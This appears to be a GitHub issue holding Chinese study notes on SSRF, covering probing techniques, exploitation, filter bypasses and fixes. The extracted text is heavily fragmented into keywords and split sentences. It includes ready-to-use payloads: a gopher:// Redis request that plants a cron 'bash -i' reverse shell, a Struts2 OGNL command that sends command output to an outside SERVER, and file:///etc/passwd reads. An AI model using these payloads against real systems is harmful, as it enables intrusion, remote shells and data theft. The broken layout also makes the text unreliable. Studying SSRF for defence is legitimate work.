Open PyxYuYu opened 7 years ago
Never was anything great achieved without danger.
SSRF
Server-Side Request Forgery
URL
http://www.xxx.com/1.php?image=[地址]
image
IP
Request
banner
http://example.com:8080/dir/images http://example.com:22/dir/public/image.jpg http://example.com:3306/dir/images
Web
CMS
phpMyAdmin
http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg http://127.0.0.1:8082/profiles/minimal/translations/README.txt
GET
Struts2
SQLI
?redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'command'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#t=#d.readLine(),#u="http://SERVER/result=".concat(#t),#http=new java.net.URL(#u).openConnection(),#http.setRequestMethod("GET"),#http.connect(),#http.getInputStream()}
access.log
file
http://www.xxx.com/xxxx?url=file:///etc/passwd
漏洞挖掘方法
WebLogic
FFmpeg
PHP
file_get_content()
$content = file_get_contents($_GET['url']); // 通过 file_get_contents 直接获取 URL,保存到 content,之后利用
cURL - curl_exec()
function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_exec($ch); curl_close($ch); } $url = $_GET['url']; curl($url); // 初始化一个 curl 获取 URL,之后利用
cURL
Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp Features: IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP UnixSockets
HTTP/HTTPS
file、dict、gopher
curl -v 'file:///etc/passwd'
dict
// 探测 Redis curl -v 'dict://10.11.2.1:6379/info'
gopher
shell
curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
>
<
+OK
\r
%0d%0a
%0a
gopher://ip:port/payload
payload
rawurlencode
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$56%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a
curl -v 'http://www.xxx.com/xxxx/1.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'
ftp、ftps (FTP匿名访问、爆破) tftp (UDP协议扩展) imap/imaps/pop3/pop3s/smtp/smtps (爆破邮件用户名密码) smb/smbs (SMB匿名访问及爆破) telnet (连接SSH/Telnet,匿名访问及爆破)
socket - fsockopen()
function GetFile($host,$port,$link) { $fp = fsockopen($host, intval($port), $errno, $errstr, 30); if(!$fp) { echo "$errstr (error number $errno) \n"; } else { $out = "GET $link HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "Connection: Close\r\n\r\n"; $out .= "\r\n"; fwrite($fp, $out); $contents=''; while (!feof($fp)){ $contents.= fgets($fp, 1024); } fclose($fp); return $contents; } } echo GetFile($_GET['host'], $_GET['port'], $_GET['url']); // 利用 fsockopen 获取 URL,fsockopen 使用 socket 跟服务器建立 tcp 连接,传输数据
http://www.xxx.com/xxxx?resourceUrl=http://xxx.xxx.xxx.xxx
http://fanyi.youdao.com/xxxx&url=http%3A%2F%2F10.100.21.3%2Fmessage.shtml
http://www.xxx.com/xxxx?image=http://xxx.xxx.xxx.xxx
API
XML
share wap url link src source targer u 3g display sourceURL imageURL domain
RSS
Oracle
MongoDB
MSSQL
Postgre
CouchDB
POP3/IMAP/SMTP
ImageMagick
Docx
PDF
Fuzz
http://www.xxx.com/***/service?image=http://www.baidu.com/img/1.png // 新窗口打开 http://www.baidu.com/img/1.png
image=http://11.11.11.1/favicon.ico
HTTP
favicon.ico
SSRF 中 URL 地址过滤的绕过方式
@
http://a.com@10.10.10.10 即 http://10.10.10.10 http://a.com:b@10.10.10.10
115.239.210.26 = 16373751032
http://10.10.116.11 http://t.cn/RwbLKDx
Payload
// 通过加上端口,绕过正则 http://10.10.116.11:80
xip.io
// xip.io 是一个按需定制的 DNS 服务 http://www.10.10.0.179.xip.io www.10.10.0.179.xip.io 10.10.0.179
JS
http://临时页面 // 临时页面 <script language="JavaScript" type="text/javascript"> window.location.href="http://10.10.0.179/"; </script>
302
301
HTTP(S)
<?php $schema = $_GET['s']; $ip = $_GET['i']; $port = $_GET['p']; $query = $_GET['q']; if(empty($port)){ header("Location: $schema://$ip/$query"); } else { header("Location: $schema://$ip:$port/$query"); }
curl -v 'http://www.xxx.com/1.php?url=http://a.cn/302.php?s=file&query=/etc/passwd'
// 限制的白名单域 whitelist.com http://a.cn/302php?whitelist.com
80、443、8080、8090
HTTPS
总结的不错
0x01 SSRF
SSRF
Server-Side Request Forgery
服务端请求伪造SSRF
攻击的目标是从外网无法访问的内部系统SSRF
成因URL
地址获取网页文本内容、加载指定地址的图片、下载等SSRF
就是没有对外部输入的获取资源的请求作出任何过滤与限制,导致攻击者可以通过这个请求来访问其他服务器的资源URL
加载图片,请求为http://www.xxx.com/1.php?image=[地址]
image
参数作出严格的过滤以及限制,image
参数输入一个内网IP
Request
的返回时间判断对应端口上的服务是否开启,可以通过遍历所有内网IP
,来判断内网的服务运行情况banner
信息URL
,比如URL
,就会发出请求banner
信息,可以通过报出的错误信息、响应时间、响应包大小来判断Web
应用进行指纹识别,通过访问默认文件实现CMS
可以为后续的攻击提供很多帮助,大多数Web
应用都有一些独特的文件和目录,通过这些文件可以识别应用的类型,甚至更详细的版本phpMyAdmin
是否安装Web
应用,主要是使用GET
参数就可以实现的攻击(如:Struts2
、SQLI
等)Struts2
命令执行access.log
获取file
协议读取本地文件等漏洞挖掘方法
WebLogic
中间件FFmpeg
软件PHP
PHP
相关函数file_get_content()
cURL - curl_exec()
cURL
默认支持的协议非常多Request
服务一般都支持除HTTP/HTTPS
以外的协议,所以可以利用上面中的一些协议来构造攻击请求去操作内网,比如file、dict、gopher
等协议file
协议查看文件dict
协议探测端口gopher
协议反弹shell
gopher
转换规则>
或者<
那么丢弃该行字符串,表示请求和返回的时间+OK
那么丢弃该行字符串,表示返回的字符串\r
字符串替换成%0d%0a
%0a
gopher
协议使用方法:gopher://ip:port/payload
payload
进行rawurlencode
,可以使用PHP
的该函数socket - fsockopen()
Web
功能上寻找Web
功能URL
地址分享网页内容URL
地址获取相关需要分享的内容,如果在此功能中没有对目标地址做过滤和限制,就容易导致SSRF
漏洞URL
地址把原地址的网页内容调优使其适合手机屏幕浏览URL
地址翻译对应网页的内容URL
地址加载或下载图片API
实现以及其他调用URL
的功能API
获取远程地址XML
文件来加载内容URL
关键字上寻找URL
关键字URL
上传图片RSS
Oracle
MongoDB
MSSQL
Postgre
CouchDB
POP3/IMAP/SMTP
FFmpeg
ImageMagick
Docx
PDF
XML
Fuzz
方法SSRF
是构造服务器发送请求的漏洞,所以可以通过抓包分析发送的请求是否是由服务器发送来判断是否存在SSRF
漏洞SSRF
URL
地址栏上就是刚刚URL
后附带的链接,说明是本地发送的请求,不是服务端发送的请求,不存在SSRF
漏洞SSRF
是由服务端发起的请求,所以在加载图片时候,如果存在的话,也该由服务端发起,本地浏览器的请求中不应该存在图片的请求,即不能抓到图片的请求包,所以刷新页面,抓到图片的请求包,就说明是本地请求,不存在SSRF
漏洞SSRF
漏洞,因为目前大多数修复SSRF
的方法基本是区分内外网来做限制,如果请求一个内网图片(image=http://11.11.11.1/favicon.ico
)来判断是否存在SSRF
漏洞的话,可能会不太准确,因为有可能这个内网地址被过滤了,或者内网中这个图片根本不存在SSRF
的情况下,接下来就需要来验证是否可以用于请求内网地址HTTP
服务且存在favicon.ico
文件的地址,才能验证是否存在SSRF
漏洞HTTP
服务的内网地址Web
应用的内网地址SSRF
中URL
地址过滤的绕过方式@
(类似邮箱)IP
地址转换成进制Payload
,如Struts2
命令执行xip.io
JS
跳转JS
写一个跳转,通过跳转访问到内部服务302
跳转(只允许HTTP/HTTPS
协议)URL
存在临时302
或永久301
跳转时,可以继续请求跳转后的URL
的特性HTTP(S)
的链接302
跳转到gopher
协议上302
跳转服务302
跳转也可以绕过白名单限制SSRF
漏洞修复Web
应用是去获取某一类型的文件,那么在把返回结果展示给用户之前应先验证返回的信息是否符合安全标准HTTP
常用端口80、443、8080、8090
IP
,给请求域设置白名单HTTP
和HTTPS
请求301
跳转HTTP/HTTPS
请求301
跳转到攻击请求的方式